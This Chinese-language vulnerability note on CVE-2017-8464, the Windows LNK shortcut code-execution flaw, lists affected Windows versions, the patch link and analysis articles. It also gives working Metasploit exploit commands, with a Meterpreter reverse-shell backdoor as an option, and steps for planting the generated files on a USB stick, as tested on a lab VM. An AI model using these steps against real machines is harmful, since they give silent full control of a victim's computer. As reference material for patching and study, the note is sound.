CVE-2017-8464

CVE-2017-8464

描述

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞（CVE-2010-2568）非常类似，当存在漏洞的电脑被插上保存有漏洞文件的U盘时，不需要额外操作，漏洞攻击程序就可以执行并完全控制用户的电脑系统

影响版本

Product	CPU Architecture	Version	Update	Tested
Windows 10	x86/x64
Windows 10	x86/x64	1511
Windows 10	x86/x64	1607
Windows 10	x86/x64	1703
Windows 7	x86/x64		SP1
Windows 8.1	x86/x64
Windows Rt 8.1
Windows Server 2008	x86/x64		SP2
Windows Server 2008	x86/x64	R2	SP1
Windows Server 2012
Windows Server 2012		R2
Windows Server 2016

修复补丁

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464

利用方式

测试机器Windows 7 SP1 x64，直接用msf来利用

use exploits/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/x64/exec #要是x86使用windows/exec，还可以设置后门windows/x64/meterpreter/reverse_tcp
set cmd cmd.exe
set EXITFUNC thread
run

生成文件

运行命令把它拷贝到test目录下

cp -r /root/.msf4/local/ /root/test

接着把这些文件全部拷贝到U盘中，然后插上电脑即可

测试机器是虚拟机，所以需要打一个补丁KB2533623和装一个驱动Intel(R)_USB_3.0_eXtensible_Host_Controller_Driver_5.0.4.43_v2，然后USB设置为3.0，Windows7的补丁放在了这里

https://github.com/Ascotbe/WinKernelhub/tree/master/Patch

GIF图如下

分析文章

• https://my.oschina.net/u/4310658/blog/3695267
• https://www.anquanke.com/post/id/202705
• https://wohin.me/0dayan-quan-external-stuxnet-cve-2017-8464/
• https://blog.csdn.net/baidu_41647119/article/details/103875396
• http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt